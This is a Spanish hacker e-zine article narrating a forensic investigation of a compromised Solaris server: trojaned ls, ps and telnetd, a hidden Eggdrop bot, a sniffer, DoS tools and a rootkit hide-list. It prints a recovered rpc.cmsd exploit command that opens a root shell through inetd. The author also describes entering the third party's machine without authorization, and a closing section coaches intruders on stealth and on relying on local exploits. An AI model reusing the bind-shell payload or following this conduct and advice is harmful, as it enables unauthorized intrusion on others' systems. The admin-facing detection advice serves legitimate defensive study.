-[ 0x06 ]-------------------------------------------------------------------- -[ A traves del espejo ]----------------------------------------------------- -[ by Paseante ]------------------------------------------------------SET-24- La casa de los espejos ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; [ One thing was certain, that the WHITE kitten had had nothing to do with it: -- it was the black kitten's fault entirely. For the white kitten had been having its face washed by the old cat for the last quarter of an hour (and bearing it pretty well, considering); so you see that it COULDN'T have had any hand in the mischief. ] Por que lo hacen?. Esa es la pregunta que retumba en todas las 'punto.com' cuando descubren que alguien se ha adue~ado de sus sistemas. Cuando se hace de manera sutil, sin defacements, procurando pasar inadvertido, cuando no hay miles de passwords a conseguir, ni informes secretos, ni datos economicos Pero por que, oh!, por que se toman la molestia?. Por que corren el riesgo? Y uno, cinico a base de permanecer en este mundillo, podria contestarles que lo hacen por divertirse, que lo toman como un reto, que no son conscientes del alcance de sus actos. En realidad todo es mucho mas sencillo. Por que lo hacen? Lo hacen porque pueden hacerlo. De eso va esta historia, de gente que entra, de gente que se esconde y de gente que los sigue, gente que busca y gente que encuentra. Si te cobrase por esto lo llamaria con algun nombre formado por las palabras "computing intrusion analysis forensics detection overview" al azar. Lamento dar la razon a los alarmistas de las empresas de seguridad, dispuestas tantas veces a tim..informar a los clientes de todos los peligros que acechan en la red. Aunque en muchas ocasiones sus clientes son vulnerables incluso *despues* de pasar ellos por alli. Lo cierto es que el movimiento "script gang kiddies" esta en pleno auge no solo en el extranjero sino en Espa~a (y ole!) aunque aqui los medios sean incapaces de hacer nada mas que reproducir las historias que llegan de USA y por lo tanto de la falsa impresion de que aqui eso no ocurre. No equivocarse, que no por carecer de un Pennenberg o un JayPee (con perdon) nos libramos de los individuos que ellos retratan. Pero aqui no solo tenemos kiddies "alone" que se dedican a entrar en los servidores de series televisivas (alguna vez se preocuparon los admins. de Al Salir del Cole de escribir a darkatak ??) sin que nadie le de relevancia porque ya se sabe que aqui no pasa eso. Lo dice la 'defaced list' de Attrition y su palabra es la Biblia. Tambien iluminan la Internet hispana grupos o bandas organizadas que en nada tienen que envidiar a los ubicuos pakistanies y que tienden a especializarse en determinados S.O tomando como rehenes a decenas y en ocasiones centenares de maquinas. Si uno quiere pulsar el ambiente 'kiddie' el lugar es el mismo que en el extranjero. El IRC. Centro de su existencia y lugar donde reinan omnipotentes en sus canales, para admiracion de colegas y con el amparo de sus bots. Analizaremos en este articulo el "modus operandi" de una activa banda de "peta-SUNs", la que podriamos denominar como "la cuadrilla de los Balcanes" que alegra con su presencia varios canales del Hispano y causaria pesadillas a mas de un admin si supiera hasta donde le han taladrado el sistema. No juzgamos. Ilustramos. No son los unicos. Hay mas. Y los nombres de sus victimas podrian causar conmocion al que no supiera ya que la mayor parte de redes muy conocidas de este pais han sido comprometidas en ocasiones varias veces por gente distinta. Y si no se lo creen llamen a su medio de comunicacion/proveedor de correo via web preferido y pidanles que revisen sus logs de acceso. It's the wild wild web out there. Tweedledum y Tweedledee ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; [ Tweedledum and Tweedledee Agreed to have a battle; For Tweedledum said Tweedledee Had spoiled his nice new rattle. ] Poner un firewall mal configurado sirve de bien poco excepto para producir una falsa impresion de seguridad, rellenar los bolsillos de la empresa que lo instala y los de la empresa que lo vende. Y como reza el dicho: "Donde cabe uno, caben dos". Asi que si un dia alguien te llama la atencion sobre una inusitada cantidad de bots que se conectan desde lugares de lo mas dispar, siempre grandes empresas, siempre SUNS, puedes pensar o en una conspiracions de admins para dominar el mundo (horror!) o en que los sujetos que los utilizan se estan divirtiendo mas de lo que les toca. Y ya se sabe. No es problema mio. Precisamente por eso me interesa. Cogemos la "ruta del paquete" de vuelta a casa, entrar y hacerse root por lo que pueda pasar deben ser uno. Nos unimos a la fiesta. Para empezar conviene no fiarse de las herramientas del sistema y aprovechando que SUN ha tenido la mania de no incluir el shell Bash en sus SO hasta la release 8 podemos instalarlo al tiempo que bajamos la siempre util lsof .........................Advertencia........................ Prompts y outputs pueden haber sido modificados para proteger tanto a inocentes como culpables. Ademas tambien para cumplir con la exigencia de 80 columnas en los listados demasiado largos. Comentarios en lineas que empiezan por $$ .........................Advertencia........................ pas@primus ~# whodo Wed xxx 2? 12:09:11 WET 2000 ciberfw console root 10:25 ? 19093 0:00 Xsession pts/2 19138 0:00 sdt_shell pts/2 19152 0:01 dtsession ? 13346 0:00 dtscreen ? 19158 0:05 dtwm ? 20985 0:00 dtterm pts/10 20987 0:00 sh pts/2 2519 235:36 jre ? 20953 0:00 dtterm ? 205 0:00 dtterm ? 20974 0:00 dtterm ? 20935 0:00 dtterm pts/3 20937 0:00 sh pts/2 19151 0:00 ttsession ? 19103 0:00 fbconsole ? 19140 0:00 dsdm pas@primus ~# lsof -i TCP@primus COMMAND PID USER FD TYPE DEVICE INODE NAME artke 14595 root 36u inet 0x602ed178 TCP primus:19000->192.9.5.2xx:33560 artke 14595 root 41u inet 0x60aa4498 TCP primus:34180->egghelp.org:80 artke 14595 root 42u inet 0x60d77358 TCP primus:19000->194.91.*.200:6?? artke 14595 root 43u inet 0x60aa54c8 TCP primus:39940->egghelp.org:80 artke 14595 root 44u inet 0x60d76cc8 TCP primus:19000->194.91.77.201:* artke 14595 root 47u inet 0x609b36c0 TCP primus:45910->egghelp.org:80 artke 14595 root 50u inet 0x60d773c8 TCP primus:19000->this*.eng.*.uk:* $$ No quiero ser negativo pero un proceso que abre comunicaciones con Inet, que no sale haciendo un ps -ef y cuyos sockets tampoco refleja netstat me da mala espina. Mas si se conecta a egghelp.org cuyo nombre sospechosamente suena a Eggdrop que por lo poco que se es un conocido bot de IRC. Como no creo que el admin se tome la molestia de ocultarse cosas a si mismo (se dedicara a tradear warez) esto me huele a cracker encerrado. Puede ser divertido. pas@primus ~# lsof -c artke COMMAND PID USER FD TYPE DEVICE INODE NAME artke 4367 root cwd VDIR52,6 4608 /usr/share/man/man12 artke 4367 root txt VREG52,6 1104604 /usr/share/man/man12/artke artke 4367 root txt VREG52,6 665264 /usr/lib/libc.so.1 artke 4367 root txt VREG52,6 17480 /usr/platform/sun4u/lib/libc_psr* artke 4367 root txt VREG52,6 39888 /usr/lib/libw.so.1 artke 4367 root txt VREG52,6 15720 /usr/lib/libmp.so.1 artke 4367 root txt VREG52,6 574912 /usr/lib/libnsl.so.1 artke 4367 root txt VREG52,6 15720 /usr/lib/libintl.so.1 artke 4367 root txt VREG52,6 68780 /usr/lib/libsocket.so.1 artke 4367 root txt VREG52,6 110820 /usr/lib/libm.so.1 ................................................... ................................................... $$ Deja de ser emocionante cuando uno sabe de antemano el resultado. Aparte de descubrir que hay 12 secciones de man, yo me quede en la 9, temo que se van a confirmar mis intuiciones que en estos momentos son que mi sospechoso ha tenido la osadia de hacer lo siguiente 1- Ataque con obtencion de root 2- Instalacion de rootkit 3- Borrado de logs 4- Instalacion de backdoors y procesos no autorizados $$ Me contradecira un listado de /usr/share/man12? pas@primus ~# ls -l /usr/share/man/man12 total 788 -rwx------ 1 root bin 477 Sep 30 14:05 cront drwx------ 4 1108 345 512 Apr 19 2000 doc drwx------ 5 1108 345 512 Mar 16 2000 help drwx------ 3 1108 345 512 Apr 15 2000 language drwx------ 2 1108 345 512 Apr 22 2000 logs -rwx------ 1 root bin 394194 Sep 30 14:05 mhub?? -rw------- 1 root other 176278 Oct 7 08:00 mhub??.c -rw------- 1 root bin 175948 Oct 7 00:00 mhub??.c~bak -rw------- 1 root other 4928 Oct 7 08:00 mhub??.f -rwx------ 1 root bin 1402 Sep 30 14:05 mhub??.h drwx------ 3 1108 345 512 Mar 16 2000 misc -rw-r--r-- 1 root other 5 Oct 5 16:00 pid.mhub?? drwx------ 2 1108 345 512 Apr 22 2000 scripts drwx------ 2 1108 345 512 Apr 19 2000 text $$ Un directorio man concurrido, extra~o ya de por si en un servidor que no tiene instalado el paquete SUNWman, mas extra~o aun si todo lo que encontramos parece cualquier cosa menos paginas man. Pero como en la historia de Sherlock Holmes lo mas extra~o no es lo que pasa sino lo que NO pasa. No aparece por ningun lado el archivo artke. Espejismo de lsof o ls troyaneado?. Apuesten por lo ultimo. Y vamos por el punto 2. pas@primus ~# ls -l /usr/share/man/man12/artke -rwx------ 1 1108 345 1104604 Apr 22 2000 /usr/share/man/man12/artke $$ Ya no puede confiar uno en un honrado 'ls', troyanos malvados. Ahora a seguir las miguitas de pan y recogerlas porque de verdad, de verdad que quien crea un directorio "man12" fijo que deja backdoors detras. Y ante la pasividad del afectado que me impide unirme a la partida?. Sera mas divertido jugar al juego con los crackers que con el insulso que lleva la maquina. Por cierto, con flamante software de seguridad SunScreen EFS como firewall abanderado de la incompetencia de SUN. $$ Al trabajo con una mezcla de "ls -al" y "echo *" para dentro de los rudimentarios metodos de que dispongo seguir en la partida. $$ Veamos que nos depara el directorio /usr/share/man/man12 Extracto del listado: -rw------- 1 root bin 94264 Oct 31 20:50 .share.Amuru.972929052 -rw------- 1 root bin 94264 Oct 31 20:50 .share.FATA.972929051 -rw------- 1 root bin 96086 Oct 15 18:08 .share.FATA.975315320 -rw------- 1 root bin 96086 Oct 15 18:10 .share.FATA.975315403 -rw------- 1 root other 105734 Oct 22 07:00 .share.FATA.974080013 -rw------- 1 root other 105734 Oct 22 07:10 .share.FATA.974080626 -rw------- 1 root other 107394 Oct 27 15:01 .share.ILoveAlma.975340869 -rw------- 1 root bin 96086 Oct 15 18:05 .share.kendoo.974315113 -rw------- 1 root other 105734 Oct 22 06:53 .share.kendoo.974879621 -rw------- 1 root other 105734 Oct 22 07:11 .share.kendoo.974080683 -rw------- 1 root other 107394 Oct 27 15:26 .share.kendoo.975342399 -rw------- 1 root bin 94524 Oct 3 12:58 .share.klaus43.973259929 ................................................. ................................................. $$ A bote pronto de este directorio sacamos lo siguiente: artke --> Es una compilacion del popular bot de IRC "Eggdrop" mhub?? --> Un script para Eggdrop mhub??.c --> Es el fichero de configuracion de usuario para el bot Mhub.h --> Script que comprueba si el bot se ejecuta y si no lo lanza. Pid.mhub?? --> El fichero que contiene el "process id" del bot. Cront --> Fichero "cron" del root con la tarea "mhub.h" cada 10 minutos. .share.* --> Archivos con info de usuarios compartida por una red de bots. $$ A mayor escarnio del root de esta maquina aun estan los directorios donde el cracker bajo el fuente del Eggdrop, claro que despues de demostrar ser incapaz de ejecutar un "crontab -l" en 10 meses que se puede esperar? $$ Nunca habia tenido la ocasion de hacer lo siguiente (recomendado en todos los articulos de seguridad) pero voy a aprovechar la oportunidad. pas@primus ~# find / -perm -4000 /usr/openwin/lib/mkcookie /usr/bin/chkey /usr/bin/crontab /usr/bin/login /usr/bin/newgrp /usr/bin/passwd /usr/bin/ps /usr/bin/rcp /usr/bin/rlogin /usr/bin/rsh /usr/bin/su /usr/bin/tip /usr/bin/uptime /usr/bin/w /usr/bin/yppasswd /usr/bin/volcheck /usr/bin/nispasswd /usr/lib/exrecover /usr/lib/pt_chmod /usr/lib/sendmail /usr/lib/utmp_update /usr/sbin/allocate /usr/sbin/mkdevalloc /usr/sbin/mkdevmaps /usr/sbin/ping /usr/sbin/sacadm /usr/sbin/whodo /usr/sbin/deallocate /usr/sbin/list_devices /usr/sbin/m64config /usr/proc/bin/ptree /usr/proc/bin/pwait /usr/ucb/ps /usr/local/bin/traceroute /var/spool/lp/buffer/loginMY /etc/lp/alerts/printer /var/spool/.../store/ps /sbin/su /sbin/login $$ Cuantos posibles agujeros....como soy hombre simple ire a lo facil, a ese llamativo directorio "/var/spool/.../store", a ver que hay por alli $$ /var/spool/... no aparece cuando intentamos listarlo. pas@primus /var/spool# ls -al total 8 drwxrwxr-x 9 root bin 512 Oct 29 14:37 . drwxrwxr-x 22 root sys 512 Apr 13 1999 .. drwxrwsrwt 2 daemon daemon 512 Oct 29 12:46 calendar drwxr-xr-x 4 root sys 512 Apr 6 1999 cron drwxr-xr-x 2 uucp uucp 512 Apr 6 1999 locks drwxrwxr-x 8 lp lp 512 Nov 21 10:25 lp drwxr-xr-x 2 root bin 512 May 28 1999 mqueue drwxrwxrwx 2 bin bin 512 Nov 27 12:11 pkg $$ Pero pronto veremos que si existe mediante un acto de fe pas@primus /var/spool# cd ... pas@primus /var/spool/...# pwd /var/spool/... pas@primus /var/spool/...# ls -al total 3 drwxrwxr-x 3 root root 512 Oct 29 14:37 . drwxrwxr-x 9 root bin 512 Oct 29 14:37 .. drwxrwxr-x 2 root root 512 Oct 29 14:37 store $$ Y dentro del almacen hay esta mercancia pas@primus /var/spool/...# ls -al store total 105 drwxrwxr-x 2 root root 512 Oct 29 14:37 . drwxrwxr-x 3 root root 512 Oct 29 14:37 .. -r-xr-xr-x 1 root root 9684 Oct 29 14:37 in.rlogind -r-xr-xr-x 1 root root 9980 Oct 29 14:37 in.rshd -r-xr-xr-x 1 root root 22384 Oct 29 14:37 in.telnetd -r--r--r-- 1 root root 4677 Oct 29 14:37 inetd.conf -rw-rw-r-- 1 root root 416 Oct 29 14:37 info -r-xr-sr-x 1 root root 31568 Oct 29 14:37 netstat -r-sr-xr-x 1 root root 23964 Oct 29 14:37 ps $$ Por una primera inspeccion parece que estos son los comandos de verdad de la buena, el archivo info contiene sus datos (fecha, modo y tama~o) Supuestamente la idea es que si la liebre se levanta se pegan un par de "mv" y todos tan contentos. El archivo de inetd.conf por descontado con todo abierto. De que preocuparse?. Tenemos un firewall. Y es de SUN. Asi que no puede entrar nadie. Pero solo porque ya esta puesto el cartel de "Completo" }:->. $$ Por supuesto han troyaneado los servidores de acceso mas comunes, me pica la curiosidad por saber si realmente siguen un metodo 'industrial' o lo hacen de manera artesanal. Por mis averiguaciones parece que no se han percatado ni de la presencia del soft de firewall SunScreen EFS - instalado en /opt/SUNWicg - ni de un par de comandos mas que podrian delatarlos y que no han troyaneado. Esto indicaria que no se andan con miramientos y tienen un procedimiento comun que utilizan con todas sus victimas, como mas tarde comprobare fehacientemente tras seguir sus pasos por otras maquinas SUN. pas@primus~# strings /usr/sbin/in.telnetd /bin/sh /var/tmp/.baaa002JV open exec file execute program /usr/lib/ld.so.1 _start getpeername _environ _end mark1 mark2 __register_frame_info _GLOBAL_OFFSET_TABLE_ atexit exit _init fclose _DYNAMIC execl _exit environ perror comments __deregister_frame_info original_code _edata _PROCEDURE_LINKAGE_TABLE_ fopen execve _etext _lib_version main chmod stat envoye_don_le_trojan ..................... ..................... $$ No hay duda de que estamos ante un troyano que se anuncia como tal, el resto de servidores muestran cadenas similares. pas@primus /var/tmp# ls -al total 1630 drwxrwxrwt 2 sys sys 1024 May 7 12:43 . drwxrwxr-x 22 root sys 512 Apr 13 1999 .. -rwx------ 1 root root 29844 May 31 15:30 .baaa002JV strings telnetd -rwx------ 1 root root 17132 Jun 28 12:55 .baaa002Jk strings rlogind -rwx------ 1 root root 17296 Jun 28 12:55 .baaa002Jz strings rshd -rwx------ 1 root root 22384 May 31 15:30 .baaa006Ac telnetd (copia) -rwx------ 1 root root 9836 Jun 28 12:55 .baaa006Ao rshd (copia) -rwx------ 1 root root 9672 Jun 28 12:55 .baaa006B0 rlogind (copia) -rw-r--r-- 1 root other 31427 Apr 7 1999 SunSoft_CDE1.0.1_pkgadd.* -rw------- 1 root root 280 May 3 1999 wsconAAAa0004e:0.0 -rw------- 1 root root 0 Aug 21 09:10 wsconAAAa0004o:0.0 -rw------- 1 root root 80 Sep 7 15:35 wsconAAAa0004q:0.0 -rw------- 1 root other 9379 Apr 17 2000 wsconAAAa00058:0.0 -rw------- 1 root other 70 Apr 8 1999 wsconAAAa0005A:0.0 -rw------- 1 root other 6270 Sep 6 15:42 wsconAAAa0005C:0.0 ................................................. ................................................. $$ Aparte de proveerse de un metodo de facil acceso mi amigo (o los amigos de mi amigo) parecian estar interesados por las passwords de los demas. No solo pirateando los servidores de acceso sino instalando un sniffer (convenientemente oculto) caza-claves de ftp-telnet-pop3. Cutre pero doloroso. $$ Tengo un ls vestido de azul con su troyanito y su ps ful. pas@primus ~# strings /bin/ps | more Node: %s args comm COMMAND fname WCHAN wchan ADDR addr TIME time ELAPSED etime STIME stime class nice PGID pgid PPID ppid RGID rgid RUID ruid RGROUP rgroup GROUP group RUSER ruser USER user /proc /dev/ptyq SYS_TEST jlfceAadt:p:g:u:U:G:n:s:o: ps: warning: -n option ignored ps: no memory ps: %s is an invalid non-numeric argument for -p option ps: %s is an invalid non-numeric argument for -s option ps: %s is an invalid non-numeric argument for -g option %s/%ld ps: no controlling terminal ps: can't find controlling terminal ............................. $$ Por tres cuartos de nada, que te llama la atencion?. Si te sirve de algo te dire que estoy buscando pistas sobre como 'ps' "sabe" que procesos debe ocultar y cuales puede mostrar tranquilamente. Seguro que el averiguarlo me ayudara a encontrar la iluminacion y la paz interior. $$ Para que quede clarito. pas@primus ~# file /dev/pty* | more /dev/ptypb: character special (25/11) /dev/ptypc: character special (25/12) /dev/ptypd: character special (25/13) /dev/ptype: character special (25/14) /dev/ptypf: character special (25/15) /dev/ptyq: ascii text /dev/ptyq0: character special (25/16) /dev/ptyq1: character special (25/17) /dev/ptyq2: character special (25/18) ....................... ....................... $$ Ohh!. Creo que vi un lindo gatito. pas@primus ~# cat /dev/ptyq rshd sm.sh sm rcp in.bind lpNet login hub cl dpipe bncsol nmap lpdx lpdi lpda ssh sshd artke ident psybnc nc rape in.lpda $$ Con ustedes una lista de procesos que 'ps' no debe mostrar, los cuales nos abren nuevas y provechosas vias de investigacion y reconstruccion. Tengo que reconocer que me siento atraido por SSH, indica una deliberada instalacion de un metodo seguro de conexion lo que no deja de ser un toque de cierta elegancia. pas@primus ~# find / -name 'ssh*' /dev/ssh /dev/ssh/ssh_config /dev/ssh/ssh_host_key /dev/ssh/ssh_host_key.pub /dev/ssh/ssh_random_seed /dev/ssh/sshd /dev/ssh/sshd_config /dev/ssh/ssh.sh /dev/ssh/ssh $$ Esta dicho todo. SSH esta escuchando en el puerto 190xx con la esperanza de encontrarse "bajo el radar" de cualquier tipo de monitorizacion. $$ Y si con 'ps' hemos cantado linea sigamos para bingo. pas@primus /usr/man/man12# strings /bin/ls | less 01;32 01;33 01;35 01;36 01;34 8bit 7bit color version help time extension none status ctime access atime if-tty auto never force always fileutils /usr/local/lib/locale %s - %s vdir GNU fileutils-3.13 /usr/include/fs.h //DIRED// //SUBDIRED// POSIXLY_CORRECT COLUMNS ignoring invalid width in environment variable COLUMNS: %s TABSIZE ignoring invalid tab size in environment variable TABSIZE: %s abcdfgiklmnopqrstuw:xABCDFGI:LNQRST:UX178 invalid line width: %s invalid tab size: %s sort type $$ Si ya lo decia mi abuelo. Vista una pelicula de indios, vistas todas. pas@primus ~# ls -l /usr/include/* -rwxr-xr-x 1 bin bin 760 Jan 18 1996 /usr/include/demangle.h -rw-rw-r-- 1 bin bin 429 Mar 8 1997 /usr/include/fs.h $$ Con "fs.h" y lo que ya hemos recogido llegamos a este directorio. pas@primus /var/spool/lp/buffer# ls -al total 252 drwxrwxrwx 3 root bin 1024 Oct 30 13:54 . drwxrwxr-x 8 lp lp 512 Oct 6 21 10:25 .. -rwxrw-rw- 1 root bin 53 Apr 25 2000 acc -rw-rw-rw- 1 root bin 15032 Jun 17 22:10 bc -rwxrw-r-- 1 root bin 507 Jun 24 09:10 bnc.chk -rw-rw-rw- 1 root bin 29 Jun 17 22:24 bncsol.conf -rw-rw-rw- 1 root bin 36 Nov 30 1999 cf -rwxrwxrwx 1 root root 44224 May 30 2000 cl -rwxrw-rw- 1 root bin 382 Jul 26 09:25 dos -rwxr--r-- 1 root bin 11732 Jul 19 07:40 dpipe -rwxr-xr-x 1 root bin 11668 Jul 25 11:55 fix drwxr-xr-x 2 root root 2048 Oct 5 1999 help -rwxr--r-- 1 root bin 10672 Jul 19 07:45 ident -rw-rw-r-- 1 root root 416 Oct 29 14:37 info -rwxr-xr-x 1 root bin 7328 Feb 28 2000 logM0 -r-sr-xr-x 1 root bin 47420 Apr 25 2000 loginMY -rwxr-xr-x 1 root bin 28288 Jul 19 07:41 nc -rw-rw-r-- 1 root root 4 May 29 14:37 pid.bncsol -rwxr-xr-x 1 root bin 31892 Jul 21 07:41 rape -rwxrw-rw- 1 root bin 108 Apr 25 2000 rem -rwxrw-rw- 1 root bin 15464 Jul 19 07:39 sm -rwxrw-r-- 1 root bin 95 Jun 17 22:26 sm.sh -rwxrw-r-- 1 root bin 95 Jun 17 22:52 sm2.sh -rwxrw-r-- 1 root bin 95 Jun 17 22:51 sm3.sh -rwxrw-rw- 1 root bin 194 Jul 26 08:37 syschecker -rwxr-xr-x 1 lp lp 11028 Jul 19 07:42 zx $$ Otro deposito, despues de mirar un poquito parece que lo mas cantoso es lo siguiente. Bc --> Bouncer para IRC Bncsol.conf --> Fichero de configuracion del Bouncer Ident --> Servidor ident falso LoginMY --> Troyano de login Nc --> NetCat, herramienta de red Rape --> Programa de ataque y Denegacion de Servicio (DoS) Sm --> Programa de ataque y DoS "Smurf" Sm?.sh --> Varios scripts para lanzar un ataque "smurf" Rem --> Shell script para sustituir el binario de login Zx --> Programa para borrar logs $$ A estas alturas y como hemos visto tirando un poco de cada lado hemos encontrado ya toda la "carga" dejada por los intrusos. Nos tomamos la molestia de parchear un par de programas de DoS para que fallen "misteriosamente" en la creencia de que la Denegacion de Servicio es una cosa muy fea. $$ En aras a completar el cuadro me queda averiguar la metodologia empleada para el ataque. Me fio tanto de los logs que pueda haber de hace 8, 10 o 12 meses como de los comandos del sistema. Pero ademas no hay logs asi que mejor. De todas maneras en una maquina SUN no hace falta ser muy espabilado para saber por donde hay que empezar a mirar. pas@primus /var/spool/calendar# ls -l total 17 -r--rw---- 1 root daemon 702 Apr 17 1999 callog.root -r--rw---- 1 root daemon 4033 Apr 19 12:46 callog.root.DBA -r--rw---- 1 root daemon 4033 Apr 19 12:46 callog.root.IPL -r--rw---- 1 root daemon 4033 Apr 19 12:46 callog.root.KEG -r--rw---- 1 root daemon 4061 Apr 19 12:46 callog.root.PFQ ................................................. ................................................. $$ Si ya lo decia mi abuelo. Vista una pelicula de indios, vistas todas. pas@primus /var/spool/calendar# head callog.root.DBA ................................................. ................................................. Ð/bin/ksh0000-ccc0000echo "ingreslock stream tcp nowait root /bin/sh sh -i" >>/tmp/bob ; /usr/sbin/inetd -s /tmp/bob " duration: 10 period: biweekly nth: 421 ntimes: 10 author: "root@arthurdent" tags: ((appointment , 1)) apptstat: active privacy: public ) Para beneficio de los menos duchos en la configuracion de inetd, el ataque contra el servicio de calendario (rpc.cmsd) lanza inetd con el fichero de configuracion /tmp/bob que otorga una shell de root al conectar al puerto de ingreslock. Una vez conseguido el acceso se descarga via ftp un rootkit, se borran/alteran los logs, se colocan las backdoors adicionales que se precisen y ya estamos listos para instalar Eggdrops, programas de DoS, sniffers, netcats y demas ralea. Sin animo de critica debo advertir a los miembros de la "cuadrilla de los Balcanes" que hay procedimientos en sus actuaciones manifiestamente mejorables. Asi aunque se preocupen de mantener las fechas en los comandos pirateados y eliminar los programas temporales creados durante la instalacion se aprecia descuido en lo que respecta al tama~o de los binarios que no concuerdan con los originales ni de lejos, el comportamiento de algunos troyanos no emula con fidelidad al comando original y peor aun nos olvidamos de borrar el rastro del ataque originario. Es tambien mejorable el enmascaramiento de los 'depositos' con demasiados programas a la vista incluso con el 'ls' troyano, la manera cantosa de asegurarse la ejecucion del bot mediante una tarea en el cron del root y descuidado el mantener el flag de suid en los binarios originales reemplazados que permite descubrir su escondite mediante la tipica busqueda de ficheros. Para restaurar dichos comandos deberia bastar los datos guardados en el archivo "info" y mientras ocultarlos de la mejor manera posible. Puntos a favor por contra son la instalacion de SSH y la encriptacion con Blowfish de la mayor parte de ficheros del bot. En cuanto al administrador, con animo de critica. Torpe mas que torpe. Que eres un torpe. El leon y el unicornio ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; [ The Lion and the Unicorn were fighting for the crown: The Lion beat the Unicorn all round the town. Some gave them white bread, some gave them brown; Some gave them plum-cake and drummed them out of town. ] Para whiteboinas, sinboinas y yopasabaporaquiboinas. ==================================================== Firewall != Seguridad y me echo a dormir. Si no tienes muy claro si tu sistema esta comprometido empieza por asumir que lo esta asi que: - No te fies del output de tus comandos - No te fies de lo que dicen tus logs - No confies en Tripwires o similares - No asumas que por tener los servicios comentados no se esta ejecutando nada Lo suyo es tener en CD/Diskette unas cuantas herramientas basicas (podrian ser los binarios originales que ayudarian a chequear tama~o/fecha con los que tengas como comprobacion rapida) que incluya no "chofisticadas security tools" sino cosas tan simples como: lsof - top - strace (o el truss original de SUN) - find - strings Con esto como acabas de comprobar tienes *de sobra* para determinar si tu sistema esta comprometido o al menos para convencerte de que hace falta una investigacion mas seria. Si crees que te han entrado tu actuacion tipica sera volverte loco, querer formatearlo todo rapido o si no puedes, hacerte el sueco a ver si se arregla ello solo. Mal. Tranquilizate, leete este articulo, aprende y pide ayuda si es necesario. Cuando reinstales _NI SE TE OCURRA_ volver a conectar la maquina a la red sin haberla asegurado al maximo, instalado todos los parches, parado todos los servicios posibles, ajustado los permisos y eliminado todos los suids que nunca usas y solo estan para darte problemas. Si ademas sabes por donde te dieron la ultima vez no seas burro y que no te la peguen dos veces por el mismo sitio. Vete a /etc/rc2.d y para cosas, haz "man ndd" que seguro que aprendes algo, releete el articulo de Dark Raver en SET 23 no se....espabila que para eso te pagan. Te pagan, verdad?? Sabias que Solaris tiene listas de control de acceso?. Que tienes tanto herramientas de SUN como scripts de terceras partes para asegurar una instalacion de Solaris?. Muevete un poquito. Y consuelate, no hay tanta gente que se dedique a entrar en ordenadores ajenos pero por Dios.....que dedicacion!!!. Para blackboinas, nosesabeboinas y quieroserboinas ================================================== Hay que mejorar los metodos. Se da por hecha la incompetencia total y vergonzosa del contrario pero no descuidemos por ello las formas. Fatal lo de crear cuentas de usuario en /etc/passwd. Feo y cantoso. No muy acertado en confiar en servicios lanzados por inetd y comentables en cualquier ataque de panico del becerroot. Innecesario alarde el llenar directorios y directorios con programas, fuentes de programas, originales sustituidos...No abusar que siempre es perjudicial. Discutible el riesgo que supone instalar sniffers caza-passwords r* cuando en muchos entornos solo hay windowseros viendo porno. No arrienda la ganancia. Confiemos en conexiones encriptadas, seamos sutiles y no caigamos en la tentacion "kiddie newcomer" de poner 31336 backdoors que nos den root. Canta. No te dediques a entrar cada dia a ver si te han detectado o si ha caido la password de administrador de la Casa Blanca. Recuerda, solo necesitas una forma de entrar y solo como el usuario mas pelon del SUNiverso. Despues la barbaridad de bugs locales de Solaris hara el resto. Confia en ellos. Mi propia invencion ;;;;;;;;;;;;;;;;;;;;;;;;;;;;; [ 'You will observe the Rules of Battle, of course?' the White Knight remarked, putting on his helmet too. 'I always do,' said the Red Knight, and they began banging away at each other with such fury that Alice got behind a tree to be out of the way of the blows. ] Repasemos la situacion. Una Sparc, un grupo de 'alegres camaradas' utilizandola como plataforma de bot ircero, posible punto de ataque DoS y plataforma recoge-passwords Un semi-anormal como yo perdiendo el tiempo donde menos tendria que estar y un root que ni pincha ni corta ni hace login ni nada de nada. Se ahoga. El sentido comun indica que me vaya ya y deje de hacer el garrulo. A la mierda el sentido comun, como se ponga tonto le arreo. Y me lio la manta a la cabeza, no tengo sniffer propio pero siempre puedo usar el 'snoop' de Solaris y no estoy interesado en ftp/telnet/yoquese sino en el bot y sus conexiones. Snoopy discreto y como uno nacio cansado se lleva el log lejos, lejos....a una maquina Linux donde tiene Ethereal y puede darle al titulito "Follow TCP Stream" y crackear al cracker. Y los Reyes se adelantaron este a~o, ya tengo mi HoneyNet particular. Ahora con actualizaciones en tiempo real porque las direcciones IP no entienden de fronteras linguisticas. Y si aprendes idiomas tu tambien puedes ser feliz siempres que ames Alma. En el Hispano, en el chat de Albania, donde si no?. Che Saran, saran. Y recordad, hagais lo que hagais. Tened cuidado ahi fuera. Paseante *EOF*